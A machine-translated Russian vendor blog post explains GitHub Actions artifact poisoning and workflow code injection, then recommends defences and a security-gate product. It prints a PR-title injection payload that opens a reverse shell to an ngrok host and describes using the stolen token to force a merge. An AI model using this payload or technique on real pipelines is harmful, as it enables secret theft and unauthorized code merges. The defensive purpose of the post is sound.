CICD-Pipelines

Глубокое погружение в CI/CD Pipelines Уязвимости (III): отравление артефактами и внедрение кода.

В предыдущих сообщениях (см. Косвенное отравление Pipeline Исполнение И-СИЗ и Отравленные Pipeline Исполнение СИЗ , мы имели дело в основном со СИЗ (Отравленными Pipeline Исполнение): мы увидели, как это работает, его последствия, некоторые способы использования, а также способы защиты от него. 

В этом посте мы подробно рассмотрим некоторые другие CI/CD pipeline уязвимости, такие как отравление артефактами и внедрение кода. 

Для этого мы каким-то образом будем использовать СИЗ, поэтому давайте кратко подведем итоги того, что мы видели о СИЗ.

Предыдущая работа по СИЗ

Подводя итог, мы начали с базового GitHub. pipeline для сборки и тестирования предоставленного кода через pull request. Кроме того, он определяет некоторые проверки, которые, если они выполнены, объединят код в основную ветку. Мы назвали это как Сценарий #1.

CI/CD-Pipelines

В нашей предыдущей статье мы продемонстрировали, как этот базовый pipeline законопроект уязвим как для D-PPE, так и для I-PPE.

Нам удалось исправить Д-СИЗ by изменение триггерного события от pull_request в pull_request_target, что делает pipeline безопасен для D-PPE. Как напоминание, pipelines, вызванный событием pull_request_target, выполнит базовый pipeline код, а не pipeline код, содержащийся в pull request. 

Мы назвали это как Сценарий #2.

CI/CD-Pipelines-Уязвимости-сценарий-2

В результате этой модификации мы продемонстрировали, что Сценарий № 2 все еще был уязвим для I-PPE.

Чтобы это исправить, мы решили разделить pipeline на два:

  • 1-й pipeline (Построить CI) было бы проверить PR-код (для его создания), выполните сборку и сгенерируйте артефакт.
  • 2nd pipeline (Тестовый CI) было бы проверить базовый код (чтобы избежать модификации сценария оболочки) и выполнить исходные сценарии для артефакта. 
  • Синхронизация тестового ЭК pipeline запускать ПОСЛЕ сборки CI pipelineмы будем использовать рабочий процесс_запуск вызывать. 

Мы назвали это как Сценарий #3.

CI/CD-Pipelines-Уязвимости-сценарий-3

Давайте восстановим код обоих pipelines согласно этим модификациям…

1 pipeline (Сборка CI):

name: Build CI   on:   pull_request_target:     branches: [ main ]   env:   MY_SECRET: ${{ secrets.MY_SECRET }}   GITHUB_PAT: ${{ secrets.GH_PAT }}   jobs:                   prt_build_and_upload:     runs-on: ubuntu-latest     steps:       - name: Checking out PR code         uses: actions/checkout@v4         if: ${{ github.event_name == 'pull_request_target' }}         with:           # This is to get the PR code instead of the repo code           ref: ${{ github.event.pull_request.head.sha }}         - name: Building ...         run: |           mkdir ./bin           touch ./bin/mybin.exe 	    # Save some PR info for later use by the 2nd pipeline           echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt           echo "${{github.event.number}}" > ./bin/PR_ID.txt   	# Upload the binary as a pipeline artifact       - name: Archive building artifacts         uses: actions/upload-artifact@v3         with:           name: archive-bin           path: |             bin 

2 pipeline (Тестовый CI):

name: Test CI   on:   workflow_run:     workflows: [ 'Build CI' ]     types: [completed]     env:   MY_SECRET: ${{ secrets.MY_SECRET }}   GITHUB_PAT: ${{ secrets.GH_PAT }}     jobs:   deploy:     runs-on: ubuntu-latest     if: ${{ github.event.workflow_run.conclusion == 'success' }}     steps:           # By default, checks out base code (not PR code)       - name: Checkout repository         uses: actions/checkout@v4   	# Download the artifact       - name: 'Download artifact'         uses: actions/github-script@v6         with:           script: |             let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({                owner: context.repo.owner,                repo: context.repo.repo,                run_id: context.payload.workflow_run.id,             });             let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {               return artifact.name == "archive-bin"             })[0];             let download = await github.rest.actions.downloadArtifact({                owner: context.repo.owner,                repo: context.repo.repo,                artifact_id: matchArtifact.id,                archive_format: 'zip',             });             let fs = require('fs');             fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));   	# Unzip the artifact       - name: 'Unzip artifact'         run: |           unzip -o myartifact.zip         # Runs tests       - name: Running tests ...         id : run_tests         run: |           echo Running tests..           chmod +x runtests.sh           ./runtests.sh           echo Tests executed.   #       # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)       # - name: pr_check_conditions_to_merge         id: check_pr         run: |           echo "check_conditions_to_merge"           PR_ID=$(<PR_ID.txt)           PR_TITLE=$(<PR_TITLE.txt)           echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"           echo "merge=false" >> $GITHUB_OUTPUT             - name: pr_merge_pr_false         if: steps.check_pr.outputs.merge == 'false'         run: |           echo "The merge check was ${{ steps.check_pr.outputs.merge }}"           echo "Merge conditions NOT MEET!!!"           - name: pr_merge_pr_true         if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'         run: |           echo "The merge check was ${{ steps.check_pr.outputs.merge }}"           echo "Merge conditions successfully MEET!!!"           echo "Merging .."           PR_ID=$(<PR_ID.txt)           curl -L \                   -X PUT \                   -H "Accept: application/vnd.github+json" \                   -H "Authorization: Bearer $GITHUB_PAT" \                   -H "X-GitHub-Api-Version: 2022-11-28" \  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \                   -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'             

Отравление артефактом

Согласно вышеизложенному CI/CD pipelines:

  • pipeline Построить CI is безопасности как для Д-СИЗ (из-за pull_request_target) и расширение I-СИЗ (потому что он больше не выполняет сценарий оболочки).
  • pipeline Тестовый CI Также безопасности как для Д-СИЗ (из-за рабочий процесс_запуск) и расширение I-СИЗ (потому что он проверяет базовый код, чтобы получить исходный сценарий оболочки) 

Давайте углубимся в это «решение».

Pipeline Тестовый CI загружает артефакт в виде zip-файла.

# Unzip the artifact       - name: 'Unzip artifact'         run: |           unzip -o myartifact.zip         # Runs tests       - name: Running tests ...         id : run_tests         run: |           echo Running tests..           chmod +x runtests.sh           ./runtests.sh           echo Tests executed. 

После распаковки он выполняет «безопасный» сценарий оболочки. Почему я говорю «безопасный» сценарий оболочки? Поскольку на предыдущем этапе pipeline проверяет «базовый» код, поэтому исходный сценарий помещается в папку рабочей области. Поэтому, когда pipeline выполняет сценарий оболочки, который он запустит, используя ранее загруженный двоичный файл.

Тогда каков проблема с таким подходом? Проблема возникает когда любой пользователь «создает» новый pipeline

Если пользователь открывает PR, содержащий новый pipeline, GitHub выполнит это pipeline  (при некоторых условиях, как мы видели в предыдущем после).

Учитывая это, что, если пользователь создаст новый pipeline с тем же именем, что и у Build CI? Да, это удивительно, но GitHub позволяет вам создать два pipelineс таким же именем!!

Помните, что Test CI будет выполняться после Build CI…

name: Test CI   on:   workflow_run:     workflows: [ 'Build CI' ]     types: [completed]

Удивительно, ведь их теперь два. pipelineс таким же названием, pipeline Тест CI будет выполнен дважды: один после оригинала pipeline и прочее после «нового» pipeline.

Как хакер может этим воспользоваться? 

  • Во-первых, злоумышленник может изменить сценарий оболочки, чтобы отправить секрет на сервер, контролируемый хакером.
  • Во-вторых, новый pipeline включает строку для копирования модифицированного сценария оболочки в артефакт → отравление артифыКТ!!!

Когда пользователь открывает PR с этими изменениями, «новый» pipeline будет выполнено (загрузка отравленного артефакта) и команда Deploy CI pipeline будет выполнено после этого, что приведет к «модифицированный» сценарий оболочки перезаписывает «исходный» сценарий оболочки, расположенный в pipeline Рабочее пространство.

CI/CD-Pipelines-Уязвимости

Это то, что мы называем Отравление артефактом, т.е. возможность модифицировать (взламывать) pipeline логику путем модификации pipeline артефакт

Один возможный рекультивация довольно просто: простое разархивирование артефакта в подпапку рабочей области позволит избежать перезаписи «базового» сценария оболочки.

Ввод кода

Помимо отравления артефактами, видите ли вы в приведенном выше коде какую-либо другую уязвимость?

Погнали!!

Как вы можете видеть в коде, pipeline Сборка CI собирает двоичный файл и загружает его как pipeline артефакт и, кроме того, загружает пару дополнительных данных: заголовок PR и идентификатор PR.

          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt           echo "${{github.event.number}}" > ./bin/PR_ID.txt

Почему? Потому что для слияния ПР, как видно ниже, Тестовый CI pipeline нужен идентификатор PR для вызова API REST GitHub, который объединяет PR. 

Как проходит Тест CI pipeline получить этот PR ID? Совместное использование информации в текстовых файлах (часть pipeline артефакт) — распространенный способ обмена информацией между pipelineс. И это именно то, что эти pipelines делают.

  echo "Merging .."           PR_ID=$(<PR_ID.txt)           curl -L \                   -X PUT \                   -H "Accept: application/vnd.github+json" \                   -H "Authorization: Bearer $GITHUB_PAT" \                   -H "X-GitHub-Api-Version: 2022-11-28" \                   https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \                   -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}' 

Строго говоря, для объединения PR необходим только идентификатор PR, но pipeline Администратор решил, что CI сборки также должен включать заголовок PR, чтобы тестовый CI pipeline распечатал бы некоторое информационное сообщение, содержащее как идентификатор PR, так и заголовок.

name: Build CI       - name: Building ...         run: |           mkdir ./bin           touch ./bin/mybin.exe 	    # Save some PR info for later use by the 2nd pipeline           echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt           echo "${{github.event.number}}" > ./bin/PR_ID.txt  
name: Test CI [...]           PR_ID=$(<PR_ID.txt)           PR_TITLE=$(<PR_TITLE.txt)           echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE" 

Заголовок PR всегда представляет собой данные, поступающие от пользователя, и поэтому его всегда следует рассматривать как ненадежный., Так что pipeline должны обращаться с ними соответствующим образом и принимать защитные меры.

В приведенном выше коде мы видим конкретное сообщение, повторяющее заголовок PR. Это просто команда Linux «echo».

Посредством интерполяции строк, если заголовок является «фиктивным заголовком», Github внутренне генерирует скрипт, содержащий

echo ""a dummy title""

Но что, если PR-заголовок будет выглядеть примерно так:

Вредоносное название» && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

Сценарий станет:

echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "" 

В результате открывается обратная оболочка против сервера, контролируемого хакером.

CI/CD-Pipelines

Эта обратная оболочка может использоваться для доступа к pipeline секреты (помните, что Test CI работает в привилегированном режиме, поскольку он запускается с помощью workflow_run и имеет доступ к секретам).

Но что еще можно сделать с помощью этой обратной оболочки? 

Посмотрите на код теста CI:

env:   GITHUB_PAT: ${{ secrets.GH_PAT }}   [...]           echo "Merging .."           PR_ID=$(<PR_ID.txt)           curl -L \                   -X PUT \                   -H "Accept: application/vnd.github+json" \                   -H "Authorization: Bearer $GITHUB_PAT" \                   -H "X-GitHub-Api-Version: 2022-11-28" \                   https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \                   -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'  

Как вы можете видеть в Test CI pipeline, команда слияния Curl использует GITHUB_PAT (определенный как pipeline env var), поэтому бегун содержит GITHUB_PAT в качестве переменной среды. Более того, он также создает переменную окружения, считывающую PR ID. 

Таким образом, хакеру достаточно скопировать команду Curl и вставить ее в реверс-шелл, сливая PR непосредственно в защищенную ветку.

внедрение кода

Чтобы защититься от всего этого:

  • к избежать строковая интерполяция с ненадежными данными (уязвима для инъекция кода) от определяющий pipeline переменные окружения вместо использования его непосредственно в командах echo

Вместо использования:

name: Build CI       - name: Building ...         run: |           mkdir ./bin           touch ./bin/mybin.exe 	    # Save some PR info for later use by the 2nd pipeline           echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt           echo "${{github.event.number}}" > ./bin/PR_ID.txt

Используйте это:

  - name: Building ...         run: |           mkdir ./bin           touch ./bin/mybin.exe 	    # Save some PR info for later use by the 2nd pipeline           echo "$PR_TITLE" > ./bin/PR_TITLE.txt           echo "${{github.event.number}}" > ./bin/PR_ID.txt         env:           PR_TITLE: ${{github.event.pull_request.title}} 
  • Даже при использовании эксплойта внедрения кода команда слияния Curl не сработала бы, если бы вы правильно защитил ваш pull requests через обязательное рассмотрение или одобрение

Выводы

Как-то сложно защитить CI/CD pipelineконфигурацию и получить pipelineне содержит уязвимостей.

Это не значит, что CI/CD системы (в данном случае GitHub) уязвимы сами по себе. CI/CD системы предоставляют средства защиты от уязвимостей... но ответственность за реализацию этих мер защиты лежит на администраторе.

Но… Вы не можете устранить уязвимость, если не знаете о ее существовании!!!

Конечно, высококвалифицированный администратор DevOps может иметь в виду все эти угрозы и должным образом защитить CI/CD pipelines, но, даже в этом случае, очень ценно использовать продукт для обнаружения всех этих видов уязвимостей. И, конечно, автоматизировать этот процесс задержания уязвимостей (например, запуск сканирования как части CI/CD pipelineс).

Этот подход можно назвать «Ворота безопасности

  • Создать новый pipeline (Ворота безопасности) для проверки CI/CD pipelineуязвимости и сделать другие CI pipelines выполняться только после успешного завершения шлюза безопасности pipeline.
  • Ворота безопасности pipelines проверит CI/CD pipelineуязвимости и, 
    • Если уязвимости будут найдены, он выйдет из строя и, следовательно, другой pipelines не будет выполнено. 
    • Если уязвимостей не обнаружено, pipeline добьется успеха и другой pipelines будет выполняться как обычно.
CI/CD-Безопасность

Отравленные Pipeline Исполнение (СИЗ)

Глубокое погружение в CI/CD Pipelines Уязвимости (I)

Косвенное отравление Pipeline Исполнение (И-СИЗ)

Глубокое погружение в CI/CD Pipelines Уязвимости (II)

Защита от артефактного отравления с помощью аттестации программного обеспечения

Глубокое погружение в CI/CD Pipelines Уязвимости (IV)
sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
Получите бесплатный аккаунт.
Нет необходимости кредитную карту.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni